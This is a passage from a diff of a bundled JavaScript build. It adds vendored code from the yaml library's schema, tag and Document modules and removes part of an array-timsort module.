/^[-+]?(?:\.[0-9]+|[0-9]+(?:\.[0-9]*)?)[eE][-+]?[0-9]+$/, + resolve: (str2) => parseFloat(str2), + stringify(node) { + const num = Number(node.value); + return isFinite(num) ? num.toExponential() : stringifyNumber(node); + } +}; +var float = { + identify: (value2) => typeof value2 === "number", + default: true, + tag: "tag:yaml.org,2002:float", + test: /^[-+]?(?:\.[0-9]+|[0-9]+\.[0-9]*)$/, + resolve(str2) { + const node = new Scalar(parseFloat(str2)); + const dot = str2.indexOf("."); + if (dot !== -1 && str2[str2.length - 1] === "0") + node.minFractionDigits = str2.length - dot - 1; + return node; + }, + stringify: stringifyNumber +}; + +// node_modules/yaml/browser/dist/schema/core/int.js +init_dirname(); +init_buffer2(); +init_process2(); +var intIdentify = (value2) => typeof value2 === "bigint" || Number.isInteger(value2); +var intResolve = (str2, offset, radix, { intAsBigInt }) => intAsBigInt ? BigInt(str2) : parseInt(str2.substring(offset), radix); +function intStringify(node, radix, prefix) { + const { value: value2 } = node; + if (intIdentify(value2) && value2 >= 0) + return prefix + value2.toString(radix); + return stringifyNumber(node); +} +var intOct = { + identify: (value2) => intIdentify(value2) && value2 >= 0, + default: true, + tag: "tag:yaml.org,2002:int", + format: "OCT", + test: /^0o[0-7]+$/, + resolve: (str2, _onError, opt) => intResolve(str2, 2, 8, opt), + stringify: (node) => intStringify(node, 8, "0o") +}; +var int = { + identify: intIdentify, + default: true, + tag: "tag:yaml.org,2002:int", + test: /^[-+]?[0-9]+$/, + resolve: (str2, _onError, opt) => intResolve(str2, 0, 10, opt), + stringify: stringifyNumber +}; +var intHex = { + identify: (value2) => intIdentify(value2) && value2 >= 0, + default: true, + tag: "tag:yaml.org,2002:int", + format: "HEX", + test: /^0x[0-9a-fA-F]+$/, + resolve: (str2, _onError, opt) => intResolve(str2, 2, 16, opt), + stringify: (node) => intStringify(node, 16, "0x") +}; + +// node_modules/yaml/browser/dist/schema/core/schema.js +init_dirname(); +init_buffer2(); +init_process2(); +var schema = [ + map, + seq, + string, + nullTag, + boolTag, + intOct, + int, + intHex, + floatNaN, + floatExp, + float +]; + +// node_modules/yaml/browser/dist/schema/json/schema.js +init_dirname(); +init_buffer2(); +init_process2(); +function intIdentify2(value2) { + return typeof value2 === "bigint" || Number.isInteger(value2); +} +var stringifyJSON = ({ value: value2 }) => JSON.stringify(value2); +var jsonScalars = [ + { + identify: (value2) => typeof value2 === "string", + default: true, + tag: "tag:yaml.org,2002:str", + resolve: (str2) => str2, + stringify: stringifyJSON + }, + { + identify: (value2) => value2 == null, + createNode: () => new Scalar(null), + default: true, + tag: "tag:yaml.org,2002:null", + test: /^null$/, + resolve: () => null, + stringify: stringifyJSON + }, + { + identify: (value2) => typeof value2 === "boolean", + default: true, + tag: "tag:yaml.org,2002:bool", + test: /^true$|^false$/, + resolve: (str2) => str2 === "true", + stringify: stringifyJSON + }, + { + identify: intIdentify2, + default: true, + tag: "tag:yaml.org,2002:int", + test: /^-?(?:0|[1-9][0-9]*)$/, + resolve: (str2, _onError, { intAsBigInt }) => intAsBigInt ? BigInt(str2) : parseInt(str2, 10), + stringify: ({ value: value2 }) => intIdentify2(value2) ? value2.toString() : JSON.stringify(value2) + }, + { + identify: (value2) => typeof value2 === "number", + default: true, + tag: "tag:yaml.org,2002:float", + test: /^-?(?:0|[1-9][0-9]*)(?:\.[0-9]*)?(?:[eE][-+]?[0-9]+)?$/, + resolve: (str2) => parseFloat(str2), + stringify: stringifyJSON + } +]; +var jsonError = { + default: true, + tag: "", + test: /^/, + resolve(str2, onError) { + onError(`Unresolved plain scalar ${JSON.stringify(str2)}`); + return str2; + } +}; +var schema2 = [map, seq].concat(jsonScalars, jsonError); + +// node_modules/yaml/browser/dist/schema/yaml-1.1/binary.js +init_dirname(); +init_buffer2(); +init_process2(); +var binary = { + identify: (value2) => value2 instanceof Uint8Array, + // Buffer inherits from Uint8Array + default: false, + tag: "tag:yaml.org,2002:binary", + /** + * Returns a Buffer in node and an Uint8Array in browsers + * + * To use the resulting buffer as an image, you'll want to do something like: + * + * const blob = new Blob([buffer], { type: 'image/jpeg' }) + * document.querySelector('#photo').src = URL.createObjectURL(blob) + */ + resolve(src, onError) { + if (typeof atob === "function") { + const str2 = atob(src.replace(/[\n\r]/g, "")); + const buffer2 = new Uint8Array(str2.length); + for (let i7 = 0; i7 < str2.length; ++i7) + buffer2[i7] = str2.charCodeAt(i7); + return buffer2; + } else { + onError("This environment does not support reading binary tags; either Buffer or atob is required"); + return src; + } + }, + stringify({ comment, type: type3, value: value2 }, ctx, onComment, onChompKeep) { + if (!value2) + return ""; + const buf = value2; + let str2; + if (typeof btoa === "function") { + let s7 = ""; + for (let i7 = 0; i7 < buf.length; ++i7) + s7 += String.fromCharCode(buf[i7]); + str2 = btoa(s7); + } else { + throw new Error("This environment does not support writing binary tags; either Buffer or btoa is required"); + } + type3 ?? (type3 = Scalar.BLOCK_LITERAL); + if (type3 !== Scalar.QUOTE_DOUBLE) { + const lineWidth = Math.max(ctx.options.lineWidth - ctx.indent.length, ctx.options.minContentWidth); + const n7 = Math.ceil(str2.length / lineWidth); + const lines = new Array(n7); + for (let i7 = 0, o7 = 0; i7 < n7; ++i7, o7 += lineWidth) { + lines[i7] = str2.substr(o7, lineWidth); + } + str2 = lines.join(type3 === Scalar.BLOCK_LITERAL ? "\n" : " "); + } + return stringifyString({ comment, type: type3, value: str2 }, ctx, onComment, onChompKeep); + } +}; + +// node_modules/yaml/browser/dist/schema/yaml-1.1/omap.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/schema/yaml-1.1/pairs.js +init_dirname(); +init_buffer2(); +init_process2(); +function resolvePairs(seq3, onError) { + if (isSeq(seq3)) { + for (let i7 = 0; i7 < seq3.items.length; ++i7) { + let item = seq3.items[i7]; + if (isPair(item)) + continue; + else if (isMap(item)) { + if (item.items.length > 1) + onError("Each pair must have its own sequence indicator"); + const pair = item.items[0] || new Pair(new Scalar(null)); + if (item.commentBefore) + pair.key.commentBefore = pair.key.commentBefore ? `${item.commentBefore} +${pair.key.commentBefore}` : item.commentBefore; + if (item.comment) { + const cn = pair.value ?? pair.key; + cn.comment = cn.comment ? `${item.comment} +${cn.comment}` : item.comment; + } + item = pair; + } + seq3.items[i7] = isPair(item) ? item : new Pair(item); + } + } else + onError("Expected a sequence for this tag"); + return seq3; +} +function createPairs(schema8, iterable, ctx) { + const { replacer } = ctx; + const pairs3 = new YAMLSeq(schema8); + pairs3.tag = "tag:yaml.org,2002:pairs"; + let i7 = 0; + if (iterable && Symbol.iterator in Object(iterable)) + for (let it2 of iterable) { + if (typeof replacer === "function") + it2 = replacer.call(iterable, String(i7++), it2); + let key, value2; + if (Array.isArray(it2)) { + if (it2.length === 2) { + key = it2[0]; + value2 = it2[1]; + } else + throw new TypeError(`Expected [key, value] tuple: ${it2}`); + } else if (it2 && it2 instanceof Object) { + const keys2 = Object.keys(it2); + if (keys2.length === 1) { + key = keys2[0]; + value2 = it2[key]; + } else { + throw new TypeError(`Expected tuple with one key, not ${keys2.length} keys`); + } + } else { + key = it2; + } + pairs3.items.push(createPair(key, value2, ctx)); + } + return pairs3; +} +var pairs = { + collection: "seq", + default: false, + tag: "tag:yaml.org,2002:pairs", + resolve: resolvePairs, + createNode: createPairs +}; + +// node_modules/yaml/browser/dist/schema/yaml-1.1/omap.js +var YAMLOMap = class _YAMLOMap extends YAMLSeq { + constructor() { + super(); + this.add = YAMLMap.prototype.add.bind(this); + this.delete = YAMLMap.prototype.delete.bind(this); + this.get = YAMLMap.prototype.get.bind(this); + this.has = YAMLMap.prototype.has.bind(this); + this.set = YAMLMap.prototype.set.bind(this); + this.tag = _YAMLOMap.tag; + } + /** + * If `ctx` is given, the return type is actually `Map`, + * but TypeScript won't allow widening the signature of a child method. + */ + toJSON(_6, ctx) { + if (!ctx) + return super.toJSON(_6); + const map4 = /* @__PURE__ */ new Map(); + if (ctx?.onCreate) + ctx.onCreate(map4); + for (const pair of this.items) { + let key, value2; + if (isPair(pair)) { + key = toJS(pair.key, "", ctx); + value2 = toJS(pair.value, key, ctx); + } else { + key = toJS(pair, "", ctx); + } + if (map4.has(key)) + throw new Error("Ordered maps must not include duplicate keys"); + map4.set(key, value2); + } + return map4; + } + static from(schema8, iterable, ctx) { + const pairs3 = createPairs(schema8, iterable, ctx); + const omap3 = new this(); + omap3.items = pairs3.items; + return omap3; + } +}; +YAMLOMap.tag = "tag:yaml.org,2002:omap"; +var omap = { + collection: "seq", + identify: (value2) => value2 instanceof Map, + nodeClass: YAMLOMap, + default: false, + tag: "tag:yaml.org,2002:omap", + resolve(seq3, onError) { + const pairs3 = resolvePairs(seq3, onError); + const seenKeys = []; + for (const { key } of pairs3.items) { + if (isScalar(key)) { + if (seenKeys.includes(key.value)) { + onError(`Ordered maps must not include duplicate keys: ${key.value}`); + } else { + seenKeys.push(key.value); + } + } + } + return Object.assign(new YAMLOMap(), pairs3); + }, + createNode: (schema8, iterable, ctx) => YAMLOMap.from(schema8, iterable, ctx) +}; + +// node_modules/yaml/browser/dist/schema/yaml-1.1/schema.js +init_dirname(); +init_buffer2(); +init_process2(); + +// node_modules/yaml/browser/dist/schema/yaml-1.1/bool.js +init_dirname(); +init_buffer2(); +init_process2(); +function boolStringify({ value: value2, source }, ctx) { + const boolObj = value2 ? trueTag : falseTag; + if (source && boolObj.test.test(source)) + return source; + return value2 ? ctx.options.trueStr : ctx.options.falseStr; +} +var trueTag = { + identify: (value2) => value2 === true, + default: true, + tag: "tag:yaml.org,2002:bool", + test: /^(?:Y|y|[Yy]es|YES|[Tt]rue|TRUE|[Oo]n|ON)$/, + resolve: () => new Scalar(true), + stringify: boolStringify +}; +var falseTag = { + identify: (value2) => value2 === false, + default: true, + tag: "tag:yaml.org,2002:bool", + test: /^(?:N|n|[Nn]o|NO|[Ff]alse|FALSE|[Oo]ff|OFF)$/, + resolve: () => new Scalar(false), + stringify: boolStringify +}; + +// node_modules/yaml/browser/dist/schema/yaml-1.1/float.js +init_dirname(); +init_buffer2(); +init_process2(); +var floatNaN2 = { + identify: (value2) => typeof value2 === "number", + default: true, + tag: "tag:yaml.org,2002:float", + test: /^(?:[-+]?\.(?:inf|Inf|INF)|\.nan|\.NaN|\.NAN)$/, + resolve: (str2) => str2.slice(-3).toLowerCase() === "nan" ? NaN : str2[0] === "-" ? Number.NEGATIVE_INFINITY : Number.POSITIVE_INFINITY, + stringify: stringifyNumber +}; +var floatExp2 = { + identify: (value2) => typeof value2 === "number", + default: true, + tag: "tag:yaml.org,2002:float", + format: "EXP", + test: /^[-+]?(?:[0-9][0-9_]*)?(?:\.[0-9_]*)?[eE][-+]?[0-9]+$/, + resolve: (str2) => parseFloat(str2.replace(/_/g, "")), + stringify(node) { + const num = Number(node.value); + return isFinite(num) ? num.toExponential() : stringifyNumber(node); + } +}; +var float2 = { + identify: (value2) => typeof value2 === "number", + default: true, + tag: "tag:yaml.org,2002:float", + test: /^[-+]?(?:[0-9][0-9_]*)?\.[0-9_]*$/, + resolve(str2) { + const node = new Scalar(parseFloat(str2.replace(/_/g, ""))); + const dot = str2.indexOf("."); + if (dot !== -1) { + const f8 = str2.substring(dot + 1).replace(/_/g, ""); + if (f8[f8.length - 1] === "0") + node.minFractionDigits = f8.length; + } + return node; + }, + stringify: stringifyNumber +}; + +// node_modules/yaml/browser/dist/schema/yaml-1.1/int.js +init_dirname(); +init_buffer2(); +init_process2(); +var intIdentify3 = (value2) => typeof value2 === "bigint" || Number.isInteger(value2); +function intResolve2(str2, offset, radix, { intAsBigInt }) { + const sign = str2[0]; + if (sign === "-" || sign === "+") + offset += 1; + str2 = str2.substring(offset).replace(/_/g, ""); + if (intAsBigInt) { + switch (radix) { + case 2: + str2 = `0b${str2}`; + break; + case 8: + str2 = `0o${str2}`; + break; + case 16: + str2 = `0x${str2}`; + break; + } + const n8 = BigInt(str2); + return sign === "-" ? BigInt(-1) * n8 : n8; + } + const n7 = parseInt(str2, radix); + return sign === "-" ? -1 * n7 : n7; +} +function intStringify2(node, radix, prefix) { + const { value: value2 } = node; + if (intIdentify3(value2)) { + const str2 = value2.toString(radix); + return value2 < 0 ? "-" + prefix + str2.substr(1) : prefix + str2; + } + return stringifyNumber(node); +} +var intBin = { + identify: intIdentify3, + default: true, + tag: "tag:yaml.org,2002:int", + format: "BIN", + test: /^[-+]?0b[0-1_]+$/, + resolve: (str2, _onError, opt) => intResolve2(str2, 2, 2, opt), + stringify: (node) => intStringify2(node, 2, "0b") +}; +var intOct2 = { + identify: intIdentify3, + default: true, + tag: "tag:yaml.org,2002:int", + format: "OCT", + test: /^[-+]?0[0-7_]+$/, + resolve: (str2, _onError, opt) => intResolve2(str2, 1, 8, opt), + stringify: (node) => intStringify2(node, 8, "0") +}; +var int2 = { + identify: intIdentify3, + default: true, + tag: "tag:yaml.org,2002:int", + test: /^[-+]?[0-9][0-9_]*$/, + resolve: (str2, _onError, opt) => intResolve2(str2, 0, 10, opt), + stringify: stringifyNumber +}; +var intHex2 = { + identify: intIdentify3, + default: true, + tag: "tag:yaml.org,2002:int", + format: "HEX", + test: /^[-+]?0x[0-9a-fA-F_]+$/, + resolve: (str2, _onError, opt) => intResolve2(str2, 2, 16, opt), + stringify: (node) => intStringify2(node, 16, "0x") +}; + +// node_modules/yaml/browser/dist/schema/yaml-1.1/set.js +init_dirname(); +init_buffer2(); +init_process2(); +var YAMLSet = class _YAMLSet extends YAMLMap { + constructor(schema8) { + super(schema8); + this.tag = _YAMLSet.tag; + } + add(key) { + let pair; + if (isPair(key)) + pair = key; + else if (key && typeof key === "object" && "key" in key && "value" in key && key.value === null) + pair = new Pair(key.key, null); + else + pair = new Pair(key, null); + const prev = findPair(this.items, pair.key); + if (!prev) + this.items.push(pair); + } + /** + * If `keepPair` is `true`, returns the Pair matching `key`. + * Otherwise, returns the value of that Pair's key. + */ + get(key, keepPair) { + const pair = findPair(this.items, key); + return !keepPair && isPair(pair) ? isScalar(pair.key) ? pair.key.value : pair.key : pair; + } + set(key, value2) { + if (typeof value2 !== "boolean") + throw new Error(`Expected boolean value for set(key, value) in a YAML set, not ${typeof value2}`); + const prev = findPair(this.items, key); + if (prev && !value2) { + this.items.splice(this.items.indexOf(prev), 1); + } else if (!prev && value2) { + this.items.push(new Pair(key)); + } + } + toJSON(_6, ctx) { + return super.toJSON(_6, ctx, Set); + } + toString(ctx, onComment, onChompKeep) { + if (!ctx) + return JSON.stringify(this); + if (this.hasAllNullValues(true)) + return super.toString(Object.assign({}, ctx, { allNullValues: true }), onComment, onChompKeep); + else + throw new Error("Set items must all have null values"); + } + static from(schema8, iterable, ctx) { + const { replacer } = ctx; + const set4 = new this(schema8); + if (iterable && Symbol.iterator in Object(iterable)) + for (let value2 of iterable) { + if (typeof replacer === "function") + value2 = replacer.call(iterable, value2, value2); + set4.items.push(createPair(value2, null, ctx)); + } + return set4; + } +}; +YAMLSet.tag = "tag:yaml.org,2002:set"; +var set = { + collection: "map", + identify: (value2) => value2 instanceof Set, + nodeClass: YAMLSet, + default: false, + tag: "tag:yaml.org,2002:set", + createNode: (schema8, iterable, ctx) => YAMLSet.from(schema8, iterable, ctx), + resolve(map4, onError) { + if (isMap(map4)) { + if (map4.hasAllNullValues(true)) + return Object.assign(new YAMLSet(), map4); + else + onError("Set items must all have null values"); + } else + onError("Expected a mapping for this tag"); + return map4; + } +}; + +// node_modules/yaml/browser/dist/schema/yaml-1.1/timestamp.js +init_dirname(); +init_buffer2(); +init_process2(); +function parseSexagesimal(str2, asBigInt) { + const sign = str2[0]; + const parts = sign === "-" || sign === "+" ? str2.substring(1) : str2; + const num = (n7) => asBigInt ? BigInt(n7) : Number(n7); + const res = parts.replace(/_/g, "").split(":").reduce((res2, p7) => res2 * num(60) + num(p7), num(0)); + return sign === "-" ? num(-1) * res : res; +} +function stringifySexagesimal(node) { + let { value: value2 } = node; + let num = (n7) => n7; + if (typeof value2 === "bigint") + num = (n7) => BigInt(n7); + else if (isNaN(value2) || !isFinite(value2)) + return stringifyNumber(node); + let sign = ""; + if (value2 < 0) { + sign = "-"; + value2 *= num(-1); + } + const _60 = num(60); + const parts = [value2 % _60]; + if (value2 < 60) { + parts.unshift(0); + } else { + value2 = (value2 - parts[0]) / _60; + parts.unshift(value2 % _60); + if (value2 >= 60) { + value2 = (value2 - parts[0]) / _60; + parts.unshift(value2); + } + } + return sign + parts.map((n7) => String(n7).padStart(2, "0")).join(":").replace(/000000\d*$/, ""); +} +var intTime = { + identify: (value2) => typeof value2 === "bigint" || Number.isInteger(value2), + default: true, + tag: "tag:yaml.org,2002:int", + format: "TIME", + test: /^[-+]?[0-9][0-9_]*(?::[0-5]?[0-9])+$/, + resolve: (str2, _onError, { intAsBigInt }) => parseSexagesimal(str2, intAsBigInt), + stringify: stringifySexagesimal +}; +var floatTime = { + identify: (value2) => typeof value2 === "number", + default: true, + tag: "tag:yaml.org,2002:float", + format: "TIME", + test: /^[-+]?[0-9][0-9_]*(?::[0-5]?[0-9])+\.[0-9_]*$/, + resolve: (str2) => parseSexagesimal(str2, false), + stringify: stringifySexagesimal +}; +var timestamp = { + identify: (value2) => value2 instanceof Date, + default: true, + tag: "tag:yaml.org,2002:timestamp", + // If the time zone is omitted, the timestamp is assumed to be specified in UTC. The time part + // may be omitted altogether, resulting in a date format. In such a case, the time part is + // assumed to be 00:00:00Z (start of day, UTC). + test: RegExp("^([0-9]{4})-([0-9]{1,2})-([0-9]{1,2})(?:(?:t|T|[ \\t]+)([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2}(\\.[0-9]+)?)(?:[ \\t]*(Z|[-+][012]?[0-9](?::[0-9]{2})?))?)?$"), + resolve(str2) { + const match = str2.match(timestamp.test); + if (!match) + throw new Error("!!timestamp expects a date, starting with yyyy-mm-dd"); + const [, year, month, day, hour, minute, second] = match.map(Number); + const millisec = match[7] ? Number((match[7] + "00").substr(1, 3)) : 0; + let date = Date.UTC(year, month - 1, day, hour || 0, minute || 0, second || 0, millisec); + const tz = match[8]; + if (tz && tz !== "Z") { + let d7 = parseSexagesimal(tz, false); + if (Math.abs(d7) < 30) + d7 *= 60; + date -= 6e4 * d7; + } + return new Date(date); + }, + stringify: ({ value: value2 }) => value2?.toISOString().replace(/(T00:00:00)?\.000Z$/, "") ?? "" +}; + +// node_modules/yaml/browser/dist/schema/yaml-1.1/schema.js +var schema3 = [ + map, + seq, + string, + nullTag, + trueTag, + falseTag, + intBin, + intOct2, + int2, + intHex2, + floatNaN2, + floatExp2, + float2, + binary, + merge, + omap, + pairs, + set, + intTime, + floatTime, + timestamp +]; + +// node_modules/yaml/browser/dist/schema/tags.js +var schemas = /* @__PURE__ */ new Map([ + ["core", schema], + ["failsafe", [map, seq, string]], + ["json", schema2], + ["yaml11", schema3], + ["yaml-1.1", schema3] +]); +var tagsByName = { + binary, + bool: boolTag, + float, + floatExp, + floatNaN, + floatTime, + int, + intHex, + intOct, + intTime, + map, + merge, + null: nullTag, + omap, + pairs, + seq, + set, + timestamp +}; +var coreKnownTags = { + "tag:yaml.org,2002:binary": binary, + "tag:yaml.org,2002:merge": merge, + "tag:yaml.org,2002:omap": omap, + "tag:yaml.org,2002:pairs": pairs, + "tag:yaml.org,2002:set": set, + "tag:yaml.org,2002:timestamp": timestamp +}; +function getTags(customTags, schemaName, addMergeTag) { + const schemaTags = schemas.get(schemaName); + if (schemaTags && !customTags) { + return addMergeTag && !schemaTags.includes(merge) ? schemaTags.concat(merge) : schemaTags.slice(); + } + let tags6 = schemaTags; + if (!tags6) { + if (Array.isArray(customTags)) + tags6 = []; + else { + const keys2 = Array.from(schemas.keys()).filter((key) => key !== "yaml11").map((key) => JSON.stringify(key)).join(", "); + throw new Error(`Unknown schema "${schemaName}"; use one of ${keys2} or define customTags array`); + } + } + if (Array.isArray(customTags)) { + for (const tag of customTags) + tags6 = tags6.concat(tag); + } else if (typeof customTags === "function") { + tags6 = customTags(tags6.slice()); + } + if (addMergeTag) + tags6 = tags6.concat(merge); + return tags6.reduce((tags7, tag) => { + const tagObj = typeof tag === "string" ? tagsByName[tag] : tag; + if (!tagObj) { + const tagName = JSON.stringify(tag); + const keys2 = Object.keys(tagsByName).map((key) => JSON.stringify(key)).join(", "); + throw new Error(`Unknown custom tag ${tagName}; use one of ${keys2}`); + } + if (!tags7.includes(tagObj)) + tags7.push(tagObj); + return tags7; + }, []); +} -// node_modules/array-timsort/src/index.js -var require_src6 = __commonJS({ - "node_modules/array-timsort/src/index.js"(exports28, module5) { - init_dirname(); - init_buffer2(); - init_process2(); - var DEFAULT_MIN_MERGE = 32; - var DEFAULT_MIN_GALLOPING = 7; - var DEFAULT_TMP_STORAGE_LENGTH = 256; - var POWERS_OF_TEN = [1, 10, 100, 1e3, 1e4, 1e5, 1e6, 1e7, 1e8, 1e9]; - var results; - var log10 = (x7) => x7 < 1e5 ? x7 < 100 ? x7 < 10 ? 0 : 1 : x7 < 1e4 ? x7 < 1e3 ? 2 : 3 : 4 : x7 < 1e7 ? x7 < 1e6 ? 5 : 6 : x7 < 1e9 ? x7 < 1e8 ? 7 : 8 : 9; - function alphabeticalCompare(a7, b8) { - if (a7 === b8) { - return 0; - } - if (~~a7 === a7 && ~~b8 === b8) { - if (a7 === 0 || b8 === 0) { - return a7 < b8 ? -1 : 1; - } - if (a7 < 0 || b8 < 0) { - if (b8 >= 0) { - return -1; - } - if (a7 >= 0) { - return 1; - } - a7 = -a7; - b8 = -b8; - } - const al = log10(a7); - const bl = log10(b8); - let t8 = 0; - if (al < bl) { - a7 *= POWERS_OF_TEN[bl - al - 1]; - b8 /= 10; - t8 = -1; - } else if (al > bl) { - b8 *= POWERS_OF_TEN[al - bl - 1]; - a7 /= 10; - t8 = 1; - } - if (a7 === b8) { - return t8; - } - return a7 < b8 ? -1 : 1; +// node_modules/yaml/browser/dist/schema/Schema.js +var sortMapEntriesByKey = (a7, b8) => a7.key < b8.key ? -1 : a7.key > b8.key ? 1 : 0; +var Schema = class _Schema { + constructor({ compat, customTags, merge: merge7, resolveKnownTags, schema: schema8, sortMapEntries, toStringDefaults }) { + this.compat = Array.isArray(compat) ? getTags(compat, "compat") : compat ? getTags(null, compat) : null; + this.name = typeof schema8 === "string" && schema8 || "core"; + this.knownTags = resolveKnownTags ? coreKnownTags : {}; + this.tags = getTags(customTags, this.name, merge7); + this.toStringOptions = toStringDefaults ?? null; + Object.defineProperty(this, MAP, { value: map }); + Object.defineProperty(this, SCALAR, { value: string }); + Object.defineProperty(this, SEQ, { value: seq }); + this.sortMapEntries = typeof sortMapEntries === "function" ? sortMapEntries : sortMapEntries === true ? sortMapEntriesByKey : null; + } + clone() { + const copy4 = Object.create(_Schema.prototype, Object.getOwnPropertyDescriptors(this)); + copy4.tags = this.tags.slice(); + return copy4; + } +}; + +// node_modules/yaml/browser/dist/stringify/stringifyDocument.js +init_dirname(); +init_buffer2(); +init_process2(); +function stringifyDocument(doc, options) { + const lines = []; + let hasDirectives = options.directives === true; + if (options.directives !== false && doc.directives) { + const dir2 = doc.directives.toString(doc); + if (dir2) { + lines.push(dir2); + hasDirectives = true; + } else if (doc.directives.docStart) + hasDirectives = true; + } + if (hasDirectives) + lines.push("---"); + const ctx = createStringifyContext(doc, options); + const { commentString } = ctx.options; + if (doc.commentBefore) { + if (lines.length !== 1) + lines.unshift(""); + const cs = commentString(doc.commentBefore); + lines.unshift(indentComment(cs, "")); + } + let chompKeep = false; + let contentComment = null; + if (doc.contents) { + if (isNode(doc.contents)) { + if (doc.contents.spaceBefore && hasDirectives) + lines.push(""); + if (doc.contents.commentBefore) { + const cs = commentString(doc.contents.commentBefore); + lines.push(indentComment(cs, "")); } - const aStr = String(a7); - const bStr = String(b8); - if (aStr === bStr) { - return 0; + ctx.forceBlockIndent = !!doc.comment; + contentComment = doc.contents.comment; + } + const onChompKeep = contentComment ? void 0 : () => chompKeep = true; + let body = stringify(doc.contents, ctx, () => contentComment = null, onChompKeep); + if (contentComment) + body += lineComment(body, "", commentString(contentComment)); + if ((body[0] === "|" || body[0] === ">") && lines[lines.length - 1] === "---") { + lines[lines.length - 1] = `--- ${body}`; + } else + lines.push(body); + } else { + lines.push(stringify(doc.contents, ctx)); + } + if (doc.directives?.docEnd) { + if (doc.comment) { + const cs = commentString(doc.comment); + if (cs.includes("\n")) { + lines.push("..."); + lines.push(indentComment(cs, "")); + } else { + lines.push(`... ${cs}`); } - return aStr < bStr ? -1 : 1; + } else { + lines.push("..."); } - function minRunLength(n7) { - let r8 = 0; - while (n7 >= DEFAULT_MIN_MERGE) { - r8 |= n7 & 1; - n7 >>= 1; + } else { + let dc = doc.comment; + if (dc && chompKeep) + dc = dc.replace(/^\n+/, ""); + if (dc) { + if ((!chompKeep || contentComment) && lines[lines.length - 1] !== "") + lines.push(""); + lines.push(indentComment(commentString(dc), "")); + } + } + return lines.join("\n") + "\n"; +} + +// node_modules/yaml/browser/dist/doc/Document.js +var Document = class _Document { + constructor(value2, replacer, options) { + this.commentBefore = null; + this.comment = null; + this.errors = []; + this.warnings = []; + Object.defineProperty(this, NODE_TYPE, { value: DOC }); + let _replacer = null; + if (typeof replacer === "function" || Array.isArray(replacer)) { + _replacer = replacer; + } else if (options === void 0 && replacer) { + options = replacer; + replacer = void 0; + } + const opt = Object.assign({ + intAsBigInt: false, + keepSourceTokens: false, + logLevel: "warn", + prettyErrors: true, + strict: true, + stringKeys: false, + uniqueKeys: true, + version: "1.2" + }, options); + this.options = opt; + let { version: version5 } = opt; + if (options?._directives) { + this.directives = options._directives.atDocument(); + if (this.directives.yaml.explicit) + version5 = this.directives.yaml.version; + } else + this.directives = new Directives({ version: version5 }); + this.setSchema(version5, options); + this.contents = value2 === void 0 ? null : this.createNode(value2, _replacer, options); + } + /** + * Create a deep copy of this Document and its contents. + * + * Custom Node values that inherit from `Object` still refer to their original instances. + */ + clone() { + const copy4 = Object.create(_Document.prototype, { + [NODE_TYPE]: { value: DOC } + }); + copy4.commentBefore = this.commentBefore; + copy4.comment = this.comment; + copy4.errors = this.errors.slice(); + copy4.warnings = this.warnings.slice(); + copy4.options = Object.assign({}, this.options); + if (this.directives) + copy4.directives = this.directives.clone(); + copy4.schema = this.schema.clone(); + copy4.contents = isNode(this.contents) ? this.contents.clone(copy4.schema) : this.contents; + if (this.range) + copy4.range = this.range.slice(); + return copy4; + } + /** Adds a value to the document. */ + add(value2) { + if (assertCollection(this.contents)) + this.contents.add(value2); + } + /** Adds a value to the document. */ + addIn(path2, value2) { + if (assertCollection(this.contents)) + this.contents.addIn(path2, value2); + } + /** + * Create a new `Alias` node, ensuring that the target `node` has the required anchor. + * + * If `node` already has an anchor, `name` is ignored. + * Otherwise, the `node.anchor` value will be set to `name`, + * or if an anchor with that name is already present in the document, + * `name` will be used as a prefix for a new unique anchor. + * If `name` is undefined, the generated anchor will use 'a' as a prefix. + */ + createAlias(node, name2) { + if (!node.anchor) { + const prev = anchorNames(this); + node.anchor = // eslint-disable-next-line @typescript-eslint/prefer-nullish-coalescing + !name2 || prev.has(name2) ? findNewAnchor(name2 || "a", prev) : name2; + } + return new Alias(node.anchor); + } + createNode(value2, replacer, options) { + let _replacer = void 0; + if (typeof replacer === "function") { + value2 = replacer.call({ "": value2 }, "", value2); + _replacer = replacer; + } else if (Array.isArray(replacer)) { + const keyToStr = (v8) => typeof v8 === "number" || v8 instanceof String || v8 instanceof Number; + const asStr = replacer.filter(keyToStr).map(String); + if (asStr.length > 0) + replacer = replacer.concat(asStr); + _replacer = replacer; + } else if (options === void 0 && replacer) { + options = replacer; + replacer = void 0; + } + const { aliasDuplicateObjects, anchorPrefix, flow: flow2, keepUndefined, onTagObj, tag } = options ?? {}; + const { onAnchor, setAnchors, sourceObjects } = createNodeAnchors( + this, + // eslint-disable-next-line @typescript-eslint/prefer-nullish-coalescing + anchorPrefix || "a" + ); + const ctx = { + aliasDuplicateObjects: aliasDuplicateObjects ?? true, + keepUndefined: keepUndefined ?? false, + onAnchor, + onTagObj, + replacer: _replacer, + schema: this.schema, + sourceObjects + }; + const node = createNode(value2, tag, ctx); + if (flow2 && isCollection(node)) + node.flow = true; + setAnchors(); + return node; + } + /** + * Convert a key and a value into a `Pair` using the current schema, + * recursively wrapping all values as `Scalar` or `Collection` nodes. + */ + createPair(key, value2, options = {}) { + const k6 = this.createNode(key, null, options); + const v8 = this.createNode(value2, null, options); + return new Pair(k6, v8); + } + /** + * Removes a value from the document. + * @returns `true` if the item was found and removed. + */ + delete(key) { + return assertCollection(this.contents) ? this.contents.delete(key) : false; + } + /** + * Removes a value from the document. + * @returns `true` if the item was found and removed. + */ + deleteIn(path2) { + if (isEmptyPath(path2)) { + if (this.contents == null) + return false; + this.contents = null; + return true; + } + return assertCollection(this.contents) ? this.contents.deleteIn(path2) : false; + } + /** + * Returns item at `key`, or `undefined` if not found. By default unwraps + * scalar values from their surrounding node; to disable set `keepScalar` to + * `true` (collections are always returned intact). + */ + get(key, keepScalar) { + return isCollection(this.contents) ? this.contents.get(key, keepScalar) : void 0; + } + /** + * Returns item at `path`, or `undefined` if not found. By default unwraps + * scalar values from their surrounding node; to disable set `keepScalar` to + * `true` (collections are always returned intact). + */ + getIn(path2, keepScalar) { + if (isEmptyPath(path2)) + return !keepScalar && isScalar(this.contents) ? this.contents.value : this.contents; + return isCollection(this.contents) ? this.contents.getIn(path2, keepScalar) : void 0; + } + /** + * Checks if the document includes a value with the key `key`. + */ + has(key) { + return isCollection(this.contents) ? this.contents.has(key) : false; + } + /** + * Checks if the document includes a value at `path`. + */ + hasIn(path2) { + if (isEmptyPath(path2)) + return this.contents !== void 0; + return isCollection(this.contents) ? this.contents.hasIn(path2) : false; + } + /** + 